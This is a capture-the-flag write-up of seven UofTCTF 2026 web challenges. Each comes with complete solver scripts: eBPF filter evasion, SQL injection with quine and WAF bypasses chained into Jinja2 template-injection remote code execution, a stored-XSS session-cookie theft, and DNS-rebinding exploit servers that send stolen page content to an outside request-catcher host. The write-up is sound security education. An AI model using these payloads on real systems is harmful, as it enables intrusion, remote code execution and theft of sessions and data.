I participated in UofTCTF 2026 as a member of Project Sekai. I solved 6(+1) web challenges.
Firewall [35pt]
flag.html is hosted by Nginx and there is an eBPF packet filter.
#!/bin/sh
set -e
ARCH_DIR=$(gcc -print-multiarch 2>/dev/null || echo "x86_64-linux-gnu")
echo "[*] Compiling eBPF program..."
clang -O3 -g -target bpf \
-I"/usr/include/${ARCH_DIR}" \
-c /src/firewall.c -o /src/firewall.o
echo "[*] Setting up tc clsact on eth0..."
if ! tc qdisc show dev eth0 | grep -q clsact; then
tc qdisc add dev eth0 clsact
fi
echo "[*] Attaching eBPF filter"
tc filter add dev eth0 ingress bpf da \
obj /src/firewall.o sec tc/ingress
tc filter add dev eth0 egress bpf da \
obj /src/firewall.o sec tc/ingress
echo "[*] eBPF filter loaded"
echo "[*] Starting flag server"
nginx -g "daemon off;"
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/in.h>
#include <linux/tcp.h>
#include <linux/pkt_cls.h>
#define IP_MF 0x2000 /* "More Fragments" */
#define IP_OFFSET 0x1fff /* "Fragment Offset" */
#define MAX_PKT_LEN 0xffff
#define WINDOW_LEN 256
#define KW_LEN 4
static const char blocked_kw[KW_LEN] = "flag";
static const char blocked_char = '%';
struct kw_scan_ctx {
struct __sk_buff *skb;
__u32 off;
__u32 len;
__u32 found;
};
static long kw_scan_cb(__u32 idx, void *data)
{
struct kw_scan_ctx *ctx = data;
unsigned char buf[KW_LEN];
// We guarantee idx + KW_LEN <= ctx->len from the caller, so no extra
// bounds check is needed here for the packet.
if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, KW_LEN) < 0) {
// Treat load error as found kw
ctx->found = 1;
return 1;
}
if (__builtin_memcmp(buf, blocked_kw, KW_LEN) == 0) {
ctx->found = 1;
return 1;
}
return 0;
}
__u32 __always_inline has_blocked_kw(struct __sk_buff *skb, __u32 off, __u32 len)
{
if (off > MAX_PKT_LEN || off + len > MAX_PKT_LEN || len >= MAX_PKT_LEN)
return 1;
// Cannot match when length is shorter than KW_LEN
if (len < KW_LEN) {
return 0;
}
struct kw_scan_ctx ctx = {
.skb = skb,
.off = off,
.len = len,
.found = 0,
};
// Use bpf_loop to make verifier happy
__u32 nr_loops = len - KW_LEN + 1;
long ret = bpf_loop(nr_loops, kw_scan_cb, &ctx, 0);
if (ret < 0) {
return 1;
}
return ctx.found ? 1 : 0;
}
static long char_scan_cb(__u32 idx, void *data)
{
struct kw_scan_ctx *ctx = data;
unsigned char buf[1];
if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, 1) < 0) {
// Treat load error as found kw
ctx->found = 1;
return 1;
}
if (buf[0] == blocked_char) {
ctx->found = 1;
return 1;
}
return 0;
}
__u32 __always_inline has_blocked_char(struct __sk_buff *skb, __u32 off, __u32 len)
{
if (off > MAX_PKT_LEN || off + len > MAX_PKT_LEN || len >= MAX_PKT_LEN)
return 1;
if (len < 1)
return 0;
struct kw_scan_ctx ctx = {
.skb = skb,
.off = off,
.len = len,
.found = 0,
};
// Use bpf_loop to make verifier happy
__u32 nr_loops = len;
long ret = bpf_loop(nr_loops, char_scan_cb, &ctx, 0);
if (ret < 0) {
return 1;
}
return ctx.found ? 1 : 0;
}
SEC("tc/ingress")
int firewall_in(struct __sk_buff *skb) {
void *data = (void *)(__u64)skb->data;
void *data_end = (void *)(__u64)skb->data_end;
// L2
struct ethhdr *eth = data;
if ((void *)(eth + 1) > data_end) {
return TC_ACT_UNSPEC;
}
// Handle IPv4
if (skb->protocol == bpf_htons(ETH_P_IP)) {
struct iphdr * iph = (void *)(eth + 1);
if ((void *)(iph + 1) > data_end) {
return TC_ACT_UNSPEC;
}
if (iph->version != 4) {
return TC_ACT_UNSPEC;
}
__u32 ip_hdr_size = (iph->ihl & 0x0F) << 2;
if (ip_hdr_size < sizeof(*iph)) {
return TC_ACT_UNSPEC;
}
if ((void *)iph + ip_hdr_size > data_end) {
return TC_ACT_UNSPEC;
}
// Only allow a single fragment
if (iph->frag_off & bpf_htons(IP_MF | IP_OFFSET)) {
return TC_ACT_SHOT;
}
// Only care about TCP
if (iph->protocol != IPPROTO_TCP) {
return TC_ACT_UNSPEC;
}
__u16 ip_tot_len = bpf_ntohs(iph->tot_len);
if (ip_hdr_size > ip_tot_len) {
return TC_ACT_UNSPEC;
}
// Filter traffic
if (has_blocked_kw(skb, ETH_HLEN + ip_hdr_size, ip_tot_len - ip_hdr_size)) {
return TC_ACT_SHOT;
}
if (has_blocked_char(skb, ETH_HLEN + ip_hdr_size, ip_tot_len - ip_hdr_size)) {
return TC_ACT_SHOT;
}
return TC_ACT_OK;
} else if (skb->protocol == bpf_htons(ETH_P_IPV6)) {
// No IPv6
return TC_ACT_SHOT;
}
return TC_ACT_UNSPEC;
}
char _license[] SEC("license") = "GPL";
The filter blocks flag and % in TCP payload, like GET /flag.html or encoded url.
I sent fragmented request like GET /fl and ag.html.
My solver is here:
import socket
import time
TARGET_IP = "35.227.38.232"
TARGET_PORT = 5000
START_OFFSET = 135 # start of uoftctf{...
CHUNK_SIZE = 6
def get_flag_fast():
full_content = b""
current_pos = START_OFFSET
print(f"[*] Starting extraction from byte {START_OFFSET} with chunk size {CHUNK_SIZE}...")
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.settimeout(2.0)
s.connect((TARGET_IP, TARGET_PORT))
# split request
req_part1 = b"GET /fl"
req_part2 = b"ag.html HTTP/1.1\r\n"
# Request Range header for "current position" to "+5 bytes (total 6 bytes)"
end_pos = current_pos + CHUNK_SIZE - 1
headers = (
f"Host: {TARGET_IP}\r\n"
f"Range: bytes={current_pos}-{end_pos}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
# send
s.send(req_part1)
time.sleep(0.1)
s.send(req_part2 + headers)
response = b""
while True:
try:
chunk = s.recv(4096)
if not chunk: break
response += chunk
except socket.timeout:
break
s.close()
if b"\r\n\r\n" in response:
body = response.split(b"\r\n\r\n", 1)[1]
if len(body) == 0:
break
full_content += body
print(f"\rExtracted: {full_content.decode(errors='ignore')}", end="", flush=True)
current_pos += len(body)
else:
break
except Exception as e:
print(f"\nError at pos {current_pos}: {e}")
break
return full_content.decode(errors='ignore')
if __name__ == "__main__":
html = get_flag_fast()
print("\n" + "-" * 30)
print(html)
uoftctf{f1rew4l1_Is_nOT_par7icu11rLy_R0bust_I_bl4m3_3bpf}
No Quotes [37pt]
A simple sql injection challenge. The goal is to exec /readflag.
username and password are injectable.
if waf(username) or waf(password):
return render_template(
"login.html",
error="No quotes allowed!",
username=username,
)
query = (
"SELECT id, username FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)
WAF blocks single quote and double quote.
def waf(value: str) -> bool:
blacklist = ["'", '"']
return any(char in value for char in blacklist)
And using raw templates in /home.
@app.get("/home")
def home():
if not session.get("user"):
return redirect(url_for("index"))
return render_template_string(open("templates/home.html").read() % session["user"])
If session["user"] is like {{ 7*7 }}, SSTI will be awakened.
By the way, This application uses MariaDB. MariaDB parses hex to string automated. So I can embed SSTI payload in hex.
To bypass waf, I used \ like this:
"username": "\\",
"password": f") UNION SELECT 1, 0x{hex_payload} #"
My final solver:
import requests
import binascii
import sys
TARGET_URL = "https://no-quotes-48cbcd2e89d34629.chals.uoftctf.org"
def solve():
print(f"[*] Target URL: {TARGET_URL}")
ssti_payload = "{{ lipsum.__globals__.__builtins__.__import__('os').popen('/readflag').read() }}"
# hex encode
hex_payload = binascii.hexlify(ssti_payload.encode()).decode()
print(f"[*] Hex Payload: 0x{hex_payload[:20]}...")
# waf bypassed sql injection
data = {
"username": "\\",
"password": f") UNION SELECT 1, 0x{hex_payload} #"
}
print("[*] Sending malicious login request...")
session = requests.Session()
try:
response = session.post(f"{TARGET_URL}/login", data=data, allow_redirects=False, timeout=10)
except Exception as e:
print(f"[!] Request failed: {e}")
sys.exit(1)
if response.status_code == 302:
print("[+] Login successful! Redirecting to /home...")
# SSTI
home_response = session.get(f"{TARGET_URL}/home")
content = home_response.text
if "uoftctf{" in content:
start = content.find("uoftctf{")
end = content.find("}", start) + 1
flag = content[start:end]
print("\n" + "="*40)
print(f"FLAG: {flag}")
print("="*40 + "\n")
else:
print("[-] Login worked, but flag not found in output.")
print(content[:500])
else:
print("[-] Login failed.")
if __name__ == "__main__":
solve()
uoftctf{w0w_y0u_5UcC355FU1Ly_Esc4p3d_7h3_57R1nG!}
Personal Blog [40pt]
A simple note app. The goal is steal admin bot session and access to /flag.
In editor page, draft content is unescaped.
<%- include('partials/page-start') %>
<section class="editor-shell">
<div class="editor-header">
<div>
<p class="eyebrow">Edit</p>
<h2>Post <%= post.id %></h2>
<p class="muted">Only you can see this entry.</p>
</div>
<a class="button ghost" href="/dashboard">Back to posts</a>
</div>
<div class="editor-panel">
<div id="editor" class="editor" data-post-id="<%= post.id %>" contenteditable="true"><%- draftContent %></div>
</div>
<div class="editor-actions">
<button id="saveButton" class="button primary" type="button">Save</button>
<a class="button ghost" href="/post/<%= post.id %>">View post</a>
</div>
</section>
<script src="/static/dompurify/purify.min.js"></script>
<script src="/static/editor.js"></script>
<%- include('partials/page-end') %>
And html sanitized only client side when autosave.
setInterval(async () => {
const clean = window.DOMPurify.sanitize(editor.innerHTML);
try {
await postJson('/api/autosave', { postId, content: clean });
} catch (err) {
// ignore
}
}, 30000);
app.post('/api/autosave', requireLogin, (req, res) => {
const db = req.db;
const postId = Number.parseInt(req.body.postId, 10);
if (!Number.isFinite(postId)) {
return res.status(400).json({ ok: false });
}
const post = getPostById(db, req.user.id, postId);
if (!post) {
return res.status(404).json({ ok: false });
}
const rawContent = String(req.body.content || '');
post.draftContent = rawContent;
post.updatedAt = Date.now();
saveDb(db);
return res.json({ ok: true });
});
If sid is already exist, be replaced in magic link.
app.get('/magic/:token', (req, res) => {
const db = req.db;
const token = req.params.token;
const record = db.magicLinks[token];
if (!record) {
return res.status(404).send('Invalid token.');
}
const existingSid = req.cookies.sid;
if (existingSid) {
res.cookie('sid_prev', existingSid, cookieOptions());
}
const sid = createSession(db, record.userId);
saveDb(db);
res.cookie('sid', sid, cookieOptions());
const target = safeRedirect(req.query.redirect);
return res.redirect(target);
});
Solution steps:
- register and login
- fetch autosave api with XSS payload in editor page (without client sanitization!)
- generate magic link
- report magic link and ignite XSS editor page (and solve PoW)
- access to /flag with stolen admin session
My final payload is here:
#!/usr/bin/env python3
import subprocess
import random
import re
import string
import time
from urllib.parse import urlparse
import requests
BASE_URL = "http://34.26.148.28:5000"
# ---- PoW solver ----
def pow_solve(challenge: str) -> str:
if not challenge or not isinstance(challenge, str):
raise RuntimeError("PoW challenge missing/invalid")
# curl -sSfL https://pwn.red/pow | sh -s <challenge>
cmd = f"curl -sSfL https://pwn.red/pow | sh -s {challenge}"
p = subprocess.run(
cmd,
shell=True,
check=False,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
if p.returncode != 0:
raise RuntimeError(
"PoW solver failed\n"
f"returncode={p.returncode}\n"
f"stderr={p.stderr.strip()}"
)
sol = (p.stdout or "").strip()
if not sol:
raise RuntimeError("PoW solver returned empty output")
return sol
# ---- exploit ----
def rand_str(n=10):
alphabet = string.ascii_lowercase + string.digits
return "".join(random.choice(alphabet) for _ in range(n))
def extract_first(pattern: str, text: str):
m = re.search(pattern, text, re.IGNORECASE)
return m.group(1) if m else None
def main():
s = requests.Session()
s.headers.update({"User-Agent": "ctf-autosolver/1.0"})
username = "u_" + rand_str(10)
password = "p_" + rand_str(16)
# register
r = s.post(f"{BASE_URL}/register", data={"username": username, "password": password}, allow_redirects=True, timeout=10)
if r.status_code not in (200, 302):
raise RuntimeError(f"register failed: {r.status_code}")
# login
r = s.post(f"{BASE_URL}/login", data={"username": username, "password": password}, allow_redirects=True, timeout=10)
if r.status_code != 200:
raise RuntimeError(f"login failed: {r.status_code}")
if "/dashboard" not in r.url:
if "Invalid username or password" in r.text:
raise RuntimeError("login failed: invalid credentials")
if not s.cookies.get("sid"):
raise RuntimeError("login failed: sid cookie missing")
# create post: GET /edit -> redirects /edit/<id>
r = s.get(f"{BASE_URL}/edit", allow_redirects=True, timeout=10)
if r.status_code != 200 or "/edit/" not in r.url:
raise RuntimeError(f"create post failed: {r.status_code} url={r.url}")
post_id = int(r.url.rstrip("/").split("/")[-1])
# inject XSS into draft via /api/autosave (raw)
xss = (
"<script>"
"(()=>{"
"const m=document.cookie.match(/(?:^|;\\s*)sid_prev=([^;]+)/);"
"if(!m)return;"
"const v=m[1];"
"fetch('/api/autosave',{method:'POST',credentials:'include',headers:{'Content-Type':'application/json'},"
f"body:JSON.stringify({{postId:{post_id},content:'SID_PREV='+v}})"
"}).catch(()=>{});"
"})();"
"</script>"
)
r = s.post(
f"{BASE_URL}/api/autosave",
json={"postId": post_id, "content": xss},
timeout=10,
)
if r.status_code != 200 or not r.json().get("ok"):
raise RuntimeError(f"autosave inject failed: {r.status_code} {r.text}")
# generate magic link
r = s.post(f"{BASE_URL}/magic/generate", data={}, allow_redirects=True, timeout=10)
if r.status_code != 200:
raise RuntimeError(f"magic generate failed: {r.status_code}")
# parse token from /account
r = s.get(f"{BASE_URL}/account", timeout=10)
token_list = re.findall(r'href="/magic/([0-9a-f]{32})"', r.text, flags=re.IGNORECASE)
if not token_list:
raise RuntimeError("failed to parse magic token")
token = token_list[-1]
# build report target (relative path accepted)
report_target = f"/magic/{token}?redirect=/edit/{post_id}"
# get report page -> extract pow_challenge if present
r = s.get(f"{BASE_URL}/report", timeout=10)
pow_challenge = extract_first(r'name="pow_challenge"\s+value="([^"]+)"', r.text)
report_data = {"url": report_target}
if pow_challenge:
pow_solution = pow_solve(pow_challenge)
report_data["pow_challenge"] = pow_challenge
report_data["pow_solution"] = pow_solution
# submit report
r = s.post(f"{BASE_URL}/report", data=report_data, allow_redirects=True, timeout=15)
if r.status_code != 200:
raise RuntimeError(f"report submit failed: {r.status_code}")
# poll /edit/<id> until SID_PREV appears
stolen_sid = None
deadline = time.time() + 40.0
while time.time() < deadline:
time.sleep(2.0)
rr = s.get(f"{BASE_URL}/edit/{post_id}", timeout=10)
m = re.search(r"SID_PREV=([0-9a-f]{36})", rr.text, flags=re.IGNORECASE)
if m:
stolen_sid = m.group(1)
break
if not stolen_sid:
raise RuntimeError("failed to steal sid_prev (timeout). bot may not have visited, or exploit blocked.")
# use stolen admin sid to get flag
parsed = urlparse(BASE_URL)
domain = parsed.hostname
admin = requests.Session()
admin.headers.update({"User-Agent": "ctf-autosolver/1.0"})
admin.cookies.set("sid", stolen_sid, domain=domain, path="/")
rf = admin.get(f"{BASE_URL}/flag", timeout=10)
if rf.status_code != 200:
raise RuntimeError(f"flag fetch failed: {rf.status_code} body={rf.text[:200]}")
print(rf.text)
if __name__ == "__main__":
main()
uoftctf{533M5_l1k3_17_W4snt_50_p3r50n41...}
No Quotes 2 [44pt]
3rd solve🥉
Double check filter is added to No Quotes challenge.
if not username == row[0] or not password == row[1]:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
I used SQL Quine technique like this: REPLACE(<Template>, <Placeholder>, HEX(<Template>))
Also I can’t use quotes in payload, so I made webshell without quotes and sent command with query ?c=/readflag in /home.
My new SSTI payload (non-quotes) is:
{{ url_for.__globals__.os.popen(request.args[request.args|list|first]).read() if request.args else 1 }}
Final solver:
import requests
import re
TARGET_URL = "https://no-quotes-2-21f3529c187da3b2.chals.uoftctf.org"
def solve():
print(f"[*] Target URL: {TARGET_URL}")
# SSTI payload
ssti_payload = "{{ url_for.__globals__.os.popen(request.args[request.args|list|first]).read() if request.args else 1 }}"
username_input = ssti_payload + "\\"
u_hex = "0x" + username_input.encode().hex().upper()
# quine sql payload
# ) UNION SELECT <username>, <password> #
template = f") UNION SELECT {u_hex}, REPLACE(0x$, CHAR(36), HEX(0x$))#"
template_hex = template.encode().hex().upper()
password_input = template.replace("$", template_hex)
print(f"[*] Username Payload: {username_input}")
s = requests.Session()
data = {
"username": username_input,
"password": password_input
}
print("[*] Sending Exploit...")
res = s.post(f"{TARGET_URL}/login", data=data, allow_redirects=True)
if "Welcome" not in res.text:
print("[-] Login Failed.")
print("[+] Login Successful! SSTI planted.")
# RCE
cmd = "/readflag"
print(f"[*] Executing command: {cmd}")
res = s.get(f"{TARGET_URL}/home", params={"c": cmd})
flag_match = re.search(r"uoftctf\{.*?\}", res.text)
if flag_match:
print("\n" + "="*40)
print(f"FLAG: {flag_match.group(0)}")
print("="*40 + "\n")
else:
print("[-] Flag not found in output.")
print("Output preview:", res.text[:200])
if __name__ == "__main__":
solve()
uoftctf{d1d_y0u_wR173_4_pr0P3r_qU1n3_0r_u53_INFORMATION_SCHEMA???}
No Quotes 3 [55pt]
1st blood🩸
The waf blocks also period.
def waf(value: str) -> bool:
blacklist = ["'", '"', "."]
return any(char in value for char in blacklist)
And the filter checks if db response matches SHA256(password).
if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
I wrapped quine payload with SHA2: SHA2(REPLACE(<Template>, <Placeholder>, HEX(<Template>)), 256).
To waf bypass, I use some techniques:
- In jinja2, strings can made by dict trick without quotes.
dict(os=1)|list|first->os - Attributes access with
|attr.url_for.__globals__->url_for|attr("__globals__")
My final payload that all techniques constructed:
import requests
import re
TARGET_URL = "https://no-quotes-3-7334bfb169c0a8d7.chals.uoftctf.org/"
# helper
def make_jinja_str(text):
"""
example: 'os' -> "dict(os=1)|list|first"
"""
return f"dict({text}=1)|list|first"
def solve():
print(f"[*] Target URL: {TARGET_URL}")
# SSTI payload
str_globals = make_jinja_str("__globals__")
str_os = make_jinja_str("os")
str_popen = make_jinja_str("popen")
str_read = make_jinja_str("read")
str_args = make_jinja_str("args")
str_get = make_jinja_str("get")
str_c = make_jinja_str("c")
payload_core = (
f"url_for|attr({str_globals})|attr({str_get})({str_os})"
f"|attr({str_popen})"
f"(request|attr({str_args})|attr({str_get})({str_c}))"
f"|attr({str_read})()"
)
safe_payload = (
f"{{{{ {payload_core} if request|attr({str_args}) else 1 }}}}"
)
print("[*] Generated SSTI Payload (Snippet):")
print(safe_payload[:80] + "...")
# SQLi with quine
username_input = safe_payload + "\\"
u_hex = "0x" + username_input.encode().hex().upper()
template = f") UNION SELECT {u_hex}, SHA2(REPLACE(0x$, 0x24, HEX(0x$)), 256)#"
template_hex = template.encode().hex().upper()
password_input = template.replace("$", template_hex)
s = requests.Session()
print("[*] Sending Exploit (Login)...")
data = {
"username": username_input,
"password": password_input
}
try:
res = s.post(f"{TARGET_URL}/login", data=data, allow_redirects=True)
except Exception as e:
print(f"[-] Connection failed: {e}")
if "Welcome" not in res.text:
print("[-] Login Failed.")
print(res.text[:300])
print("[+] Login Successful! SSTI planted.")
# RCE
cmd = "/readflag"
print(f"[*] Executing command: {cmd}")
try:
res = s.get(f"{TARGET_URL}/home", params={"c": cmd})
except Exception as e:
print(f"[-] Request failed: {e}")
if "uoftctf" in res.text:
flag_match = re.search(r"uoftctf\{.*?\}", res.text)
if flag_match:
print("\n" + "="*40)
print(f"FLAG: {flag_match.group(0)}")
print("="*40 + "\n")
else:
print("[?] Flag pattern not matched exactly.")
print(res.text)
else:
print("[-] Flag not found. Response preview:")
print(res.text[:500])
if __name__ == "__main__":
solve()
uoftctf{r3cuR510n_7h30R3M_m0M3n7}
Unrealistic Client-Side Challenge - Flag 1 [276pt]
3rd solve🥉
the flag1 is in jwt token from /flag. To get flag, need session and _is_loopback.
@app.get("/flag")
def flag():
session = _parse_session()
if not session:
abort(403)
if not _is_loopback(request.remote_addr):
abort(403)
flag = _read_flag_file("flag1.txt")
resp = make_response("OK")
issue_session_cookie(resp, int(session["sub"]), extra_claims={"flag": flag})
return resp
def _is_loopback(ip: Optional[str]) -> bool:
return ip in {"127.0.0.1", "::1"}
Bot url must start with http://127.0.0.1:5000, but can bypass with userinfo like http://127.0.0.1:[email protected]
def _validate_bot_url(url: str) -> str:
url = url.strip()
if not url.startswith("http://127.0.0.1:5000"):
raise ValueError("URL must start with http://127.0.0.1:5000")
return url
For this challenge, I tried to use DNS rebinding like rbndr. But (maybe) chromium DNS pinning blocks my path. If chromium version is old, this technique can be effective but chromium is latest.
After a while, I thought of using DNS resolving fail over. For example, the URL make-{my-ip}-and-127-0-0-1-rr.1u.ms:5000 is resolved to my ip if my server is working in my ip, but resolved to localhost if my server is stopped.
Solution steps:
- bot accesses to malicious DNS URL
- resolve to attacker’s server and cause CSRF
- fetch /register, /login and /flag with resolving localhost
- steal cookie with resolving attacker’s server
In addition, I needed to reset browser’s tcp connection forcibly to re-resolve DNS in 10sec (bot timeout).
My final exploit server is:
import subprocess
import threading
import time
from flask import Flask, Response, request
app = Flask(__name__)
@app.get("/")
def index():
body = r"""<!doctype html>
<meta charset="utf-8">
<title>light rebind</title>
<script>
(() => {
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
function postWindow(url, data, targetName) {
const form = document.createElement("form");
form.action = url;
form.method = "POST";
form.target = targetName;
form.style.display = "none";
for (const key in data) {
const input = document.createElement("input");
input.type = "hidden";
input.name = key;
input.value = data[key];
form.appendChild(input);
}
document.body.appendChild(form);
form.submit();
document.body.removeChild(form);
}
const u = "u" + Math.random().toString(36).slice(2);
const p = "p" + Math.random().toString(36).slice(2);
async function attempt() {
window.open("about:blank", "w1");
await sleep(100);
window.open("/cut", "w1");
window.open("about:blank", "w2");
await sleep(1000);
postWindow("/register", { username: u, password: p }, "w2");
window.open("about:blank", "w3");
await sleep(500);
postWindow("/login", { username: u, password: p }, "w3");
window.open("about:blank", "w4");
await sleep(500);
window.open("/flag", "w4");
window.open("about:blank", "w5");
await sleep(3000);
window.open("/steal", "w5");
await sleep(5000);
}
attempt();
})();
</script>
"""
resp = Response(body, mimetype="text/html")
resp.headers["Connection"] = "close"
return resp
@app.get("/cut")
def cut():
def worker():
try:
subprocess.run(
["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5000 -j REJECT --reject-with tcp-reset"],
check=False
)
time.sleep(6)
finally:
subprocess.run(
["bash","-lc", "sudo iptables -D INPUT 1"],
check=False
)
threading.Thread(target=worker, daemon=True).start()
return ("cut", 200)
@app.get("/steal")
def steal():
print("Cookie header =", request.headers.get("Cookie"))
return ("steal", 200)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=False, use_reloader=False)
I reported the malicious URL: http://127.0.0.1:5000@make-{my-ip}-and-127-0-0-1-rr.1u.ms:5000, and I got session.
the session is jwt token, so I can get the flag by base64 decode.

uoftctf{h4v3_y0ur53lf_4_s4ndw1ch}
Unrealistic Client-Side Challenge - Flag 2 [357pt]
This challenge solved by my teammate, I upsolved.
The flag2 is in response from /motd, hosted on port 5001.
@app.get("/motd")
def motd_redirect():
return redirect(f"{get_motd_origin()}/motd", code=302)
@motd_app.get("/motd")
def motd():
flag2 = _read_flag_file("flag2.txt") if _is_loopback(request.remote_addr) else None
raw_motd = request.cookies.get(COOKIE_NAME_MOTD)
motd_text = (
unquote_plus(raw_motd)
if raw_motd is not None
else '"Go Go Squid! is peak fiction" - Sun Tzu'
)
resp = make_response(render_template("motd.html", motd=motd_text, flag=flag2))
if request.cookies.get(COOKIE_NAME_MOTD) is None:
resp.set_cookie(
COOKIE_NAME_MOTD,
motd_text,
httponly=True,
samesite="Lax",
secure=False,
path="/motd",
)
resp.headers["Content-Type"] = "text/html"
resp.headers["Content-Security-Policy"] = "default-src 'none'; img-src http: https:; style-src 'self';"
return resp
I need to steal /motd response instead of access to /flag. window.opener technique is effective for this situation. And the bot need to access localhost:5001 so the exploit server and malicious URL should be port 5001.
My exploit server is:
import subprocess
import threading
import time
from flask import Flask, Response, request
app = Flask(__name__)
@app.get("/")
def index():
body = r"""<!doctype html>
<meta charset="utf-8">
<title>light rebind</title>
<script>
(() => {
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
async function attempt() {
window.open("about:blank", "w1");
await sleep(100);
window.open("/cut", "w1");
window.open("about:blank", "w2");
await sleep(1000);
window.win = window.open("/motd", "w2");
await sleep(10000);
}
attempt();
})();
</script>
"""
resp = Response(body, mimetype="text/html")
resp.headers["Connection"] = "close"
return resp
@app.get("/cut")
def cut():
def worker():
try:
subprocess.run(
["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5001 -j REJECT --reject-with tcp-reset"],
check=False
)
time.sleep(6)
finally:
subprocess.run(
["bash","-lc", "sudo iptables -D INPUT 1"],
check=False
)
threading.Thread(target=worker, daemon=True).start()
return r"""<!DOCTYPE html>
<script>
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
(async () => {
while (true) {
await sleep(500);
if (window.opener.window.win) {
await sleep(1000);
navigator.sendBeacon('https://xxxxxxxx.m.pipedream.net', window.opener.window.win.document.body.innerHTML.toString())
break;
}
}
})();
</script>
"""
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5001, debug=False, use_reloader=False)
I reported the malicious URL: http://127.0.0.1:5000@make-{my-ip}-and-127-0-0-1-rr.1u.ms:5001, and my request catcher received flag.

uoftctf{3nc0d1n6_s0_c001}